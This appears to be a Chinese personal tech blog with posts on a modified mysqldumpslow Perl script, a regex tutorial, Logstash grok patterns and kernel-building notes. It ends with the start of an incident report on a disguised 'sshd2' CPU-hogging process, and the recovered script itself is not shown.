还没想好用什么标题

0%

  1. oracle免费机器配置稍微比gcp的要好
  2. 反正都是走cloudflare速度什么的也就不考虑了

原域名freenom无缘无故停止解析了,使用新域名aiui.cf
更新了hexo版本,新的默认模板还有些小问题需要调

畅言2018年停止服务,disqus访问麻烦,所有内容也只是我自己的记录而且更新应该不会频繁,暂时不打算加评论系统了。

待更

上次尝试将小米开源的内核Xiaomi_Kernel_OpenSource升级到最新版本,花了几天时间解决lineageos编译报错

最后总算成功编译出镜像文件了

but

twrp刷入镜像在启动界面无限循环,失败。

还需要继续看下原理及排错方式,希望明年可以用上自己的lineageos(包括内核更新,提取最新vendor,devices)

mysql慢日志太多,需要分析下具体有哪些慢日志

mysql可以直接记录所有慢日志,现在的问题是将日志文件sql进行去重

想了老半天该怎样将sql的查询字段去掉进行排序,没有get到重点。后来发现mysql自带提供了mysqldumpslow工具用于解析慢日志
下面是选项:

Option Name Description
-a Do not abstract all numbers to N and strings to ‘S’
-n Abstract numbers with at least the specified digits
–de bug Write debugging information
-g Only consider statements that match the pattern
–he lp Display help message and exit
-h Host name of the server in the log file name
-i Name of the server instance
-l Do not subtract lock time from total time
-r Reverse the sort order
-s How to sort output
-t Display only first num queries
–verbose Verbose mode

默认添加-a选项将不替换sql的查询参数,导致相同类型的sql只是查询串不一样也作为两条语句了

所以-a选项可以做参考,依然会记录很多重复sql

下面是修改后的文件,当不使用-a选项时添加一个耗时最大的sql作为例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
#!/usr/bin/perl

# Copyright (c) 2000, 2017, Oracle and/or its affiliates. All rights reserved.
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU Library General Public
# License as published by the Free Software Foundation; version 2
# of the License.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# Library General Public License for more details.
#
# You should have received a copy of the GNU Library General Public
# License along with this library; if not, write to the Free
# Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
# MA 02110-1301, USA

# mysqldumpslow - parse and summarize the MySQL slow query log

# Original version by Tim Bunce, sometime in 2000.
# Further changes by Tim Bunce, 8th March 2001.
# Handling of strings with \ and double '' by Monty 11 Aug 2001.

use strict;
use Getopt::Long;

# t=time, l=lock time, r=rows
# at, al, and ar are the corresponding averages

my %opt = (
s => 'at',
h => '*',
);

GetOptions(\%opt,
'v|verbose+',# verbose
'help+', # write usage info
'd|debug+', # debug
's=s', # what to sort by (al, at, ar, c, t, l, r)
'r!', # reverse the sort order (largest last instead of first)
't=i', # just show the top n queries
'a!', # don't abstract all numbers to N and strings to 'S'
'n=i', # abstract numbers with at least n digits within names
'g=s', # grep: only consider stmts that include this string
'h=s', # hostname of db server for *-slow.log filename (can be wildcard)
'i=s', # name of server instance (if using mysql.server startup script)
'l!', # don't subtract lock time from total time
) or usage("bad option");

$opt{'help'} and usage();

unless (@ARGV) {
my $defaults = `my_print_defaults mysqld`;
my $basedir = ($defaults =~ m/--basedir=(.*)/)[0]
or die "Can't determine basedir from 'my_print_defaults mysqld' output: $defaults";
warn "basedir=$basedir\n" if $opt{v};

my $datadir = ($defaults =~ m/--datadir=(.*)/)[0];
my $slowlog = ($defaults =~ m/--slow-query-log-file=(.*)/)[0];
if (!$datadir or $opt{i}) {
# determine the datadir from the instances section of /etc/my.cnf, if any
my $instances = `my_print_defaults instances`;
die "Can't determine datadir from 'my_print_defaults mysqld' output: $defaults"
unless $instances;
my @instances = ($instances =~ m/^--(\w+)-/mg);
die "No -i 'instance_name' specified to select among known instances: @instances.\n"
unless $opt{i};
die "Instance '$opt{i}' is unknown (known instances: @instances)\n"
unless grep { $_ eq $opt{i} } @instances;
$datadir = ($instances =~ m/--$opt{i}-datadir=(.*)/)[0]
or die "Can't determine --$opt{i}-datadir from 'my_print_defaults instances' output: $instances";
warn "datadir=$datadir\n" if $opt{v};
}

if ( -f $slowlog ) {
@ARGV = ($slowlog);
die "Can't find '$slowlog'\n" unless @ARGV;
} else {
@ARGV = <$datadir/$opt{h}-slow.log>;
die "Can't find '$datadir/$opt{h}-slow.log'\n" unless @ARGV;
}
}

warn "\nReading mysql slow query log from @ARGV\n";

my @pending;
my %stmt;
$/ = ";\n#"; # read entire statements using paragraph mode
while ( defined($_ = shift @pending) or defined($_ = <>) ) {
warn "[[$_]]\n" if $opt{d}; # show raw paragraph being read

my @chunks = split /^\/.*Version.*started with[\000-\377]*?Time.*Id.*Command.*Argument.*\n/m;
if (@chunks > 1) {
unshift @pending, map { length($_) ? $_ : () } @chunks;
warn "<<".join(">>\n<<",@chunks).">>" if $opt{d};
next;
}

s/^#? Time: \d{6}\s+\d+:\d+:\d+.*\n//;
my ($user,$host,$dummy,$thread_id) = s/^#? User\@Host:\s+(\S+)\s+\@\s+(\S+)\s+\S+(\s+Id:\s+(\d+))?.*\n// ? ($1,$2,$3,$4) : ('','','','','');

s/^# Query_time: ([0-9.]+)\s+Lock_time: ([0-9.]+)\s+Rows_sent: ([0-9.]+).*\n//;
my ($t, $l, $r) = ($1, $2, $3);
$t -= $l unless $opt{l};

# remove fluff that mysqld writes to log when it (re)starts:
s!^/.*Version.*started with:.*\n!!mg;
s!^Tcp port: \d+ Unix socket: \S+\n!!mg;
s!^Time.*Id.*Command.*Argument.*\n!!mg;

s/^use \w+;\n//; # not consistently added
s/^SET timestamp=\d+;\n//;

s/^[ ]*\n//mg; # delete blank lines
s/^[ ]*/ /mg; # normalize leading whitespace
s/\s*;\s*(#\s*)?$//; # remove trailing semicolon(+newline-hash)

next if $opt{g} and !m/$opt{g}/io;

# 定义eg变量用于保存原始sql,避免被下面语句替换
my $eg = $_;

unless ($opt{a}) {
s/\b\d+\b/N/g;
s/\b0x[0-9A-Fa-f]+\b/N/g;
s/''/'S'/g;
s/""/"S"/g;
s/(\\')//g;
s/(\\")//g;
s/'[^']+'/'S'/g;
s/"[^"]+"/"S"/g;
# -n=8: turn log_20001231 into log_NNNNNNNN
s/([a-z_]+)(\d{$opt{n},})/$1.('N' x length($2))/ieg if $opt{n};
# abbreviate massive "in (...)" statements and similar
s!(([NS],){100,})!sprintf("$2,{repeated %d times}",length($1)/2)!eg;
}

my $s = $stmt{$_} ||= { users=>{}, hosts=>{} };
$s->{c} += 1;
$s->{t} += $t;
$s->{l} += $l;
$s->{r} += $r;

# 选取耗时最大的sql保存在eg变量里面
$s->{max} = $s->{c}>1?$t>$s->{max}?$t:$s->{max}:$t;
$s->{eg} = $s->{max}>$t?$s->{eg}:$eg;

$s->{users}->{$user}++ if $user;
$s->{hosts}->{$host}++ if $host;

warn "{{$_}}\n\n" if $opt{d}; # show processed statement string
}

foreach (keys %stmt) {
my $v = $stmt{$_} || die;
my ($c, $t, $l, $r) = @{ $v }{qw(c t l r)};
$v->{at} = $t / $c;
$v->{al} = $l / $c;
$v->{ar} = $r / $c;
}

my @sorted = sort { $stmt{$b}->{$opt{s}} <=> $stmt{$a}->{$opt{s}} } keys %stmt;
@sorted = @sorted[0 .. $opt{t}-1] if $opt{t};
@sorted = reverse @sorted if $opt{r};

foreach (@sorted) {
my $v = $stmt{$_} || die;
my ($c, $t,$at, $l,$al, $r,$ar,$eg) = @{ $v }{qw(c t at l al r ar eg)};
my @users = keys %{$v->{users}};
my $user = (@users==1) ? $users[0] : sprintf "%dusers",scalar @users;
my @hosts = keys %{$v->{hosts}};
my $host = (@hosts==1) ? $hosts[0] : sprintf "%dhosts",scalar @hosts;
printf "Count: %d Time=%.2fs (%ds) Lock=%.2fs (%ds) Rows=%.1f (%d), $user\@$host\n%s\n",
$c, $at,$t, $al,$l, $ar,$r, $_;
# 如果没有使用-a选项打印example作为例子
printf "Example:\n%s\n", $eg if not $opt{a};
printf "\n";
}

sub usage {
my $str= shift;
my $text= <<HERE;
Usage: mysqldumpslow [ OPTS... ] [ LOGS... ]

Parse and summarize the MySQL slow query log. Options are

--verbose verbose
--debug debug
--help write this text to standard output

-v verbose
-d debug
-s ORDER what to sort by (al, at, ar, c, l, r, t), 'at' is default
al: average lock time
ar: average rows sent
at: average query time
c: count
l: lock time
r: rows sent
t: query time
-r reverse the sort order (largest last instead of first)
-t NUM just show the top n queries
-a don't abstract all numbers to N and strings to 'S'
-n NUM abstract numbers with at least n digits within names
-g PATTERN grep: only consider stmts that include this string
-h HOSTNAME hostname of db server for *-slow.log filename (can be wildcard),
default is '*', i.e. match all
-i NAME name of server instance (if using mysql.server startup script)
-l don't subtract lock time from total time

HERE
if ($str) {
print STDERR "ERROR: $str\n\n";
print STDERR $text;
exit 1;
} else {
print $text;
exit 0;
}
}

可以看到上面的perl脚本很简单,添加example也很简单。之前打算用python来做,是我想复杂了。直接将数字替换为N,引号里面的字符替换成S就可以了。
这个还有一个问题是where后面的条件顺序也会影响,不过这个影响不大

如下面的情况(只是作为示例),不使用-a时正常只显示第一行,现在将显示第一行和执行第2,3,4行sql时耗时最大的一条sql作为示例以便用户分析

1
2
3
4
select * from mysql.user where N=N;
select * from mysql.user where 1=1;
select * from mysql.user where 2=2;
select * from mysql.user where 3=3;

转自:https://github.com/ziishaned/learn-regex

什么是正则表达式?

正则表达式是一组由字母和符号组成的特殊文本, 它可以用来从文本中找出满足你想要的格式的句子.

一个正则表达式是在一个主体字符串中从左到右匹配字符串时的一种样式.
“Regular expression”这个词比较拗口, 我们常使用缩写的术语”regex”或”regexp”.
正则表达式可以从一个基础字符串中根据一定的匹配模式替换文本中的字符串、验证表单、提取字符串等等.

想象你正在写一个应用, 然后你想设定一个用户命名的规则, 让用户名包含字符,数字,下划线和连字符,以及限制字符的个数,好让名字看起来没那么丑.
我们使用以下正则表达式来验证一个用户名:



Regular expression

以上的正则表达式可以接受 john_doe, jo-hn_doe, john12_as.
但不匹配Jo, 因为它包含了大写的字母而且太短了.

目录

1. 基本匹配

正则表达式其实就是在执行搜索时的格式, 它由一些字母和数字组合而成.
例如: 一个正则表达式 the, 它表示一个规则: 由字母t开始,接着是h,再接着是e.

“the” => The fat cat sat on the mat.

正则表达式123匹配字符串123. 它逐个字符的与输入的正则表达式做比较.

正则表达式是大小写敏感的, 所以The不会匹配the.

“The” => The fat cat sat on the mat.

2. 元字符

正则表达式主要依赖于元字符.
元字符不代表他们本身的字面意思, 他们都有特殊的含义. 一些元字符写在方括号中的时候有一些特殊的意思. 以下是一些元字符的介绍:

元字符 描述
. 句号匹配任意单个字符除了换行符.
[ ] 字符种类. 匹配方括号内的任意字符.
[^ ] 否定的字符种类. 匹配除了方括号里的任意字符
* 匹配>=0个重复的在*号之前的字符.
+ 匹配>=1个重复的+号前的字符.
? 标记?之前的字符为可选.
{n,m} 匹配num个大括号之前的字符 (n <= num <= m).
(xyz) 字符集, 匹配与 xyz 完全相等的字符串.
| 或运算符,匹配符号前或后的字符.
\ 转义字符,用于匹配一些保留的字符 [ ] ( ) { } . * + ? ^ $ \ |
^ 从开始行开始匹配.
$ 从末端开始匹配.

2.1 点运算符 .

.是元字符中最简单的例子.
.匹配任意单个字符, 但不匹配换行符.
例如, 表达式.ar匹配一个任意字符后面跟着是ar的字符串.

1
".ar" => The **car** **par**ked in the **gar**age.

2.2 字符集

字符集也叫做字符类.
方括号用来指定一个字符集.
在方括号中使用连字符来指定字符集的范围.
在方括号中的字符集不关心顺序.
例如, 表达式[Tt]he 匹配 theThe.

"[Tt]he" => The car parked in the garage.

方括号的句号就表示句号.
表达式 ar[.] 匹配 ar.字符串

"ar[.]" => A garage is a good place to park a car.

2.2.1 否定字符集

一般来说 ^ 表示一个字符串的开头, 但它用在一个方括号的开头的时候, 它表示这个字符集是否定的.
例如, 表达式[^c]ar 匹配一个后面跟着ar的除了c的任意字符.

"[^c]ar" => The car parked in the garage.

2.3 重复次数

后面跟着元字符 +, * or ? 的, 用来指定匹配子模式的次数.
这些元字符在不同的情况下有着不同的意思.

2.3.1 *

*号匹配 在*之前的字符出现大于等于0次.
例如, 表达式 a* 匹配以0或更多个a开头的字符, 因为有0个这个条件, 其实也就匹配了所有的字符. 表达式[a-z]* 匹配一个行中所有以小写字母开头的字符串.

"[a-z]*" => The car parked in the garage #21.

*字符和.字符搭配可以匹配所有的字符.*.
*和表示匹配空格的符号\s连起来用, 如表达式\s*cat\s*匹配0或更多个空格开头和0或更多个空格结尾的cat字符串.

"\s*cat\s*" => The fat cat sat on the concatenation.

2.3.2 +

+号匹配+号之前的字符出现 >=1 次.
例如表达式c.+t 匹配以首字母c开头以t结尾,中间跟着任意个字符的字符串.

"c.+t" => The fat cat sat on the mat.

2.3.3 ?

在正则表达式中元字符 ? 标记在符号前面的字符为可选, 即出现 0 或 1 次.
例如, 表达式 [T]?he 匹配字符串 heThe.

"[T]he" => The car is parked in the garage.
"[T]?he" => The car is parked in the garage.

2.4 {}

在正则表达式中 {} 是一个量词, 常用来一个或一组字符可以重复出现的次数.
例如, 表达式 [0-9]{2,3} 匹配最少 2 位最多 3 位 0~9 的数字.

"[0-9]{2,3}" => The number was 9.9997 but we rounded it off to 10.0.

我们可以省略第二个参数.
例如, [0-9]{2,} 匹配至少两位 0~9 的数字.

"[0-9]{2,}" => The number was 9.9997 but we rounded it off to 10.0.

如果逗号也省略掉则表示重复固定的次数.
例如, [0-9]{3} 匹配3位数字

"[0-9]{3}" => The number was 9.9997 but we rounded it off to 10.0.

2.5 (...) 特征标群

特征标群是一组写在 (...) 中的子模式. 例如之前说的 {} 是用来表示前面一个字符出现指定次数. 但如果在 {} 前加入特征标群则表示整个标群内的字符重复 N 次. 例如, 表达式 (ab)* 匹配连续出现 0 或更多个 ab.

我们还可以在 () 中用或字符 | 表示或. 例如, (c|g|p)ar 匹配 cargarpar.

"(c|g|p)ar" => The car is parked in the garage.

2.6 | 或运算符

或运算符就表示或, 用作判断条件.

例如 (T|t)he|car 匹配 (T|t)hecar.

"(T|t)he|car" => The car is parked in the garage.

2.7 转码特殊字符

反斜线 \ 在表达式中用于转码紧跟其后的字符. 用于指定 { } [ ] / \ + * . $ ^ | ? 这些特殊字符. 如果想要匹配这些特殊字符则要在其前面加上反斜线 \.

例如 . 是用来匹配除换行符外的所有字符的. 如果想要匹配句子中的 . 则要写成 \. 以下这个例子 \.?是选择性匹配.

"(f|c|m)at\.?" => The fat cat sat on the mat.

2.8 锚点

在正则表达式中, 想要匹配指定开头或结尾的字符串就要使用到锚点. ^ 指定开头, $ 指定结尾.

2.8.1 ^

^ 用来检查匹配的字符串是否在所匹配字符串的开头.

例如, 在 abc 中使用表达式 ^a 会得到结果 a. 但如果使用 ^b 将匹配不到任何结果. 因为在字符串 abc 中并不是以 b 开头.

例如, ^(T|t)he 匹配以 Thethe 开头的字符串.

"(T|t)he" => The car is parked in the garage.
"^(T|t)he" => The car is parked in the garage.

2.8.2 $

同理于 ^ 号, $ 号用来匹配字符是否是最后一个.

例如, (at\.)$ 匹配以 at. 结尾的字符串.

"(at\.)" => The fat cat. sat. on the mat.
"(at\.)$" => The fat cat. sat. on the mat.

3. 简写字符集

正则表达式提供一些常用的字符集简写. 如下:

简写 描述
. 除换行符外的所有字符
\w 匹配所有字母数字, 等同于 [a-zA-Z0-9_]
\W 匹配所有非字母数字, 即符号, 等同于: [^\w]
\d 匹配数字: [0-9]
\D 匹配非数字: [^\d]
\s 匹配所有空格字符, 等同于: [\t\n\f\r\p{Z}]
\S 匹配所有非空格字符: [^\s]
\f 匹配一个换页符
\n 匹配一个换行符
\r 匹配一个回车符
\t 匹配一个制表符
\v 匹配一个垂直制表符
\p 匹配 CR/LF (等同于 \r\n),用来匹配 DOS 行终止符

4. 零宽度断言(前后预查)

先行断言和后发断言都属于非捕获簇(不捕获文本 ,也不针对组合计进行计数).
先行断言用于判断所匹配的格式是否在另一个确定的格式之前, 匹配结果不包含该确定格式(仅作为约束).

例如, 我们想要获得所有跟在 $ 符号后的数字, 我们可以使用正后发断言 (?<=\$)[0-9\.]*.
这个表达式匹配 $ 开头, 之后跟着 0,1,2,3,4,5,6,7,8,9,. 这些字符可以出现大于等于 0 次.

零宽度断言如下:

符号 描述
?= 正先行断言-存在
?! 负先行断言-排除
?<= 正后发断言-存在
?<! 负后发断言-排除

4.1 ?=... 正先行断言

?=... 正先行断言, 表示第一部分表达式之后必须跟着 ?=...定义的表达式.

返回结果只包含满足匹配条件的第一部分表达式.
定义一个正先行断言要使用 (). 在括号内部使用一个问号和等号: (?=...).

正先行断言的内容写在括号中的等号后面.
例如, 表达式 (T|t)he(?=\sfat) 匹配 Thethe, 在括号中我们又定义了正先行断言 (?=\sfat) ,即 Thethe 后面紧跟着 (空格)fat.

"(T|t)he(?=\sfat)" => The fat cat sat on the mat.

4.2 ?!... 负先行断言

负先行断言 ?! 用于筛选所有匹配结果, 筛选条件为 其后不跟随着断言中定义的格式.
正先行断言 定义和 负先行断言 一样, 区别就是 = 替换成 ! 也就是 (?!...).

表达式 (T|t)he(?!\sfat) 匹配 Thethe, 且其后不跟着 (空格)fat.

"(T|t)he(?!\sfat)" => The fat cat sat on the mat.

4.3 ?<= ... 正后发断言

正后发断言 记作(?<=...) 用于筛选所有匹配结果, 筛选条件为 其前跟随着断言中定义的格式.
例如, 表达式 (?<=(T|t)he\s)(fat|mat) 匹配 fatmat, 且其前跟着 Thethe.

"(?<=(T|t)he\s)(fat|mat)" => The fat cat sat on the mat.

4.4 ?<!... 负后发断言

负后发断言 记作 (?<!...) 用于筛选所有匹配结果, 筛选条件为 其前不跟随着断言中定义的格式.
例如, 表达式 (?<!(T|t)he\s)(cat) 匹配 cat, 且其前不跟着 Thethe.

"(?<!(T|t)he\s)(cat)" => The cat sat on cat.

5. 标志

标志也叫模式修正符, 因为它可以用来修改表达式的搜索结果.
这些标志可以任意的组合使用, 它也是整个正则表达式的一部分.

标志 描述
i 忽略大小写.
g 全局搜索.
m 多行的: 锚点元字符 ^ $ 工作范围在每行的起始.

5.1 忽略大小写 (Case Insensitive)

修饰语 i 用于忽略大小写.
例如, 表达式 /The/gi 表示在全局搜索 The, 在后面的 i 将其条件修改为忽略大小写, 则变成搜索 theThe, g 表示全局搜索.

"The" => The fat cat sat on the mat.
"/The/gi" => The fat cat sat on the mat.

修饰符 g 常用于执行一个全局搜索匹配, 即(不仅仅返回第一个匹配的, 而是返回全部).
例如, 表达式 /.(at)/g 表示搜索 任意字符(除了换行) + at, 并返回全部结果.

"/.(at)/" => The fat cat sat on the mat.
"/.(at)/g" => The fat cat sat on the mat.

5.3 多行修饰符 (Multiline)

多行修饰符 m 常用于执行一个多行匹配.

像之前介绍的 (^,$) 用于检查格式是否是在待检测字符串的开头或结尾. 但我们如果想要它在每行的开头和结尾生效, 我们需要用到多行修饰符 m.

例如, 表达式 /at(.)?$/gm 表示小写字符 a 后跟小写字符 t , 末尾可选除换行符外任意字符. 根据 m 修饰符, 现在表达式匹配每行的结尾.

"/.at(.)?$/" => The fat
                cat sat
                on the mat.
"/.at(.)?$/gm" => The fat
                  cat sat
                  on the mat.

6. 贪婪匹配与惰性匹配 (Greedy vs lazy matching)

正则表达式默认采用贪婪匹配模式,在该模式下意味着会匹配尽可能长的子串。我们可以使用 ? 将贪婪匹配模式转化为惰性匹配模式。

"/(.*at)/" => The fat cat sat on the mat. 
"/(.*?at)/" => The fat cat sat on the mat. 

练习:
使用logstash编写匹配规则,默认的grok规则如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
USERNAME [a-zA-Z0-9._-]+
USER %{USERNAME}
INT (?:[+-]?(?:[0-9]+))
BASE10NUM (?<![0-9.+-])(?>[+-]?(?:(?:[0-9]+(?:\.[0-9]+)?)|(?:\.[0-9]+)))
NUMBER (?:%{BASE10NUM})
BASE16NUM (?<![0-9A-Fa-f])(?:[+-]?(?:0x)?(?:[0-9A-Fa-f]+))
BASE16FLOAT \b(?<![0-9A-Fa-f.])(?:[+-]?(?:0x)?(?:(?:[0-9A-Fa-f]+(?:\.[0-9A-Fa-f]*)?)|(?:\.[0-9A-Fa-f]+)))\b

POSINT \b(?:[1-9][0-9]*)\b
NONNEGINT \b(?:[0-9]+)\b
WORD \b\w+\b
NOTSPACE \S+
SPACE \s*
DATA .*?
GREEDYDATA .*
QUOTEDSTRING (?>(?<!\\)(?>"(?>\\.|[^\\"]+)+"|""|(?>'(?>\\.|[^\\']+)+')|''|(?>`(?>\\.|[^\\`]+)+`)|``))
UUID [A-Fa-f0-9]{8}-(?:[A-Fa-f0-9]{4}-){3}[A-Fa-f0-9]{12}

# Networking
MAC (?:%{CISCOMAC}|%{WINDOWSMAC}|%{COMMONMAC})
CISCOMAC (?:(?:[A-Fa-f0-9]{4}\.){2}[A-Fa-f0-9]{4})
WINDOWSMAC (?:(?:[A-Fa-f0-9]{2}-){5}[A-Fa-f0-9]{2})
COMMONMAC (?:(?:[A-Fa-f0-9]{2}:){5}[A-Fa-f0-9]{2})
IPV6 ((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)?
IPV4 (?<![0-9])(?:(?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9]{1,2})[.](?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9]{1,2})[.](?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9]{1,2})[.](?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9]{1,2}))(?![0-9])
IP (?:%{IPV6}|%{IPV4})
HOSTNAME \b(?:[0-9A-Za-z][0-9A-Za-z-]{0,62})(?:\.(?:[0-9A-Za-z][0-9A-Za-z-]{0,62}))*(\.?|\b)
HOST %{HOSTNAME}
IPORHOST (?:%{HOSTNAME}|%{IP})
HOSTPORT (?:%{IPORHOST=~/\./}:%{POSINT})

# paths
PATH (?:%{UNIXPATH}|%{WINPATH})
UNIXPATH (?>/(?>[\w_%!$@:.,-]+|\\.)*)+
TTY (?:/dev/(pts|tty([pq])?)(\w+)?/?(?:[0-9]+))
WINPATH (?>[A-Za-z]+:|\\)(?:\\[^\\?*]*)+
URIPROTO [A-Za-z]+(\+[A-Za-z+]+)?
URIHOST %{IPORHOST}(?::%{POSINT:port})?
# uripath comes loosely from RFC1738, but mostly from what Firefox
# doesn't turn into %XX
URIPATH (?:/[A-Za-z0-9$.+!*'(){},~:;=@#%_\-]*)+
#URIPARAM \?(?:[A-Za-z0-9]+(?:=(?:[^&]*))?(?:&(?:[A-Za-z0-9]+(?:=(?:[^&]*))?)?)*)?
URIPARAM \?[A-Za-z0-9$.+!*'|(){},~@#%&/=:;_?\-\[\]]*
URIPATHPARAM %{URIPATH}(?:%{URIPARAM})?
URI %{URIPROTO}://(?:%{USER}(?::[^@]*)?@)?(?:%{URIHOST})?(?:%{URIPATHPARAM})?

# Months: January, Feb, 3, 03, 12, December
MONTH \b(?:Jan(?:uary)?|Feb(?:ruary)?|Mar(?:ch)?|Apr(?:il)?|May|Jun(?:e)?|Jul(?:y)?|Aug(?:ust)?|Sep(?:tember)?|Oct(?:ober)?|Nov(?:ember)?|Dec(?:ember)?)\b
MONTHNUM (?:0?[1-9]|1[0-2])
MONTHDAY (?:(?:0[1-9])|(?:[12][0-9])|(?:3[01])|[1-9])

# Days: Monday, Tue, Thu, etc...
DAY (?:Mon(?:day)?|Tue(?:sday)?|Wed(?:nesday)?|Thu(?:rsday)?|Fri(?:day)?|Sat(?:urday)?|Sun(?:day)?)

# Years?
YEAR (?>\d\d){1,2}
HOUR (?:2[0123]|[01]?[0-9])
MINUTE (?:[0-5][0-9])
# '60' is a leap second in most time standards and thus is valid.
SECOND (?:(?:[0-5][0-9]|60)(?:[:.,][0-9]+)?)
TIME (?!<[0-9])%{HOUR}:%{MINUTE}(?::%{SECOND})(?![0-9])
# datestamp is YYYY/MM/DD-HH:MM:SS.UUUU (or something like it)
DATE_US %{MONTHNUM}[/-]%{MONTHDAY}[/-]%{YEAR}
DATE_EU %{MONTHDAY}[./-]%{MONTHNUM}[./-]%{YEAR}
ISO8601_TIMEZONE (?:Z|[+-]%{HOUR}(?::?%{MINUTE}))
ISO8601_SECOND (?:%{SECOND}|60)
TIMESTAMP_ISO8601 %{YEAR}-%{MONTHNUM}-%{MONTHDAY}[T ]%{HOUR}:?%{MINUTE}(?::?%{SECOND})?%{ISO8601_TIMEZONE}?
DATE %{DATE_US}|%{DATE_EU}
DATESTAMP %{DATE}[- ]%{TIME}
TZ (?:[PMCE][SD]T|UTC)
DATESTAMP_RFC822 %{DAY} %{MONTH} %{MONTHDAY} %{YEAR} %{TIME} %{TZ}
DATESTAMP_OTHER %{DAY} %{MONTH} %{MONTHDAY} %{TIME} %{TZ} %{YEAR}

# Syslog Dates: Month Day HH:MM:SS
SYSLOGTIMESTAMP %{MONTH} +%{MONTHDAY} %{TIME}
PROG (?:[\w._/%-]+)
SYSLOGPROG %{PROG:program}(?:\[%{POSINT:pid}\])?
SYSLOGHOST %{IPORHOST}
SYSLOGFACILITY <%{NONNEGINT:facility}.%{NONNEGINT:priority}>
HTTPDATE %{MONTHDAY}/%{MONTH}/%{YEAR}:%{TIME} %{INT}

# Shortcuts
QS %{QUOTEDSTRING}

# Log formats
SYSLOGBASE %{SYSLOGTIMESTAMP:timestamp} (?:%{SYSLOGFACILITY} )?%{SYSLOGHOST:logsource} %{SYSLOGPROG}:
COMMONAPACHELOG %{IPORHOST:clientip} %{USER:ident} %{USER:auth} \[%{HTTPDATE:timestamp}\] "(?:%{WORD:verb} %{NOTSPACE:request}(?: HTTP/%{NUMBER:httpversion})?|%{DATA:rawrequest})" %{NUMBER:response} (?:%{NUMBER:bytes}|-)
COMBINEDAPACHELOG %{COMMONAPACHELOG} %{QS:referrer} %{QS:agent}

# Log Levels
LOGLEVEL ([A-a]lert|ALERT|[T|t]race|TRACE|[D|d]ebug|DEBUG|[N|n]otice|NOTICE|[I|i]nfo|INFO|[W|w]arn?(?:ing)?|WARN?(?:ING)?|[E|e]rr?(?:or)?|ERR?(?:OR)?|[C|c]rit?(?:ical)?|CRIT?(?:ICAL)?|[F|f]atal|FATAL|[S|s]evere|SEVERE|EMERG(?:ENCY)?|[Ee]merg(?:ency)?)

遇到一台机器偶尔cpu使用率达到80%,触发告警。登录查看后一个sshd2程序导致cpu负载高

仔细查看就知道和sshd是两个完全不同的进程,取名sshd2应该只是为了迷惑用户

ps -ef查看到父进程是一个/tmp/javax/config.sh, 这个文件在当前系统已经删除了,所以只能按照pid号通过lsof -p PID查看打开的文件句柄
在/proc/PID/fd里面顺利找到执行脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
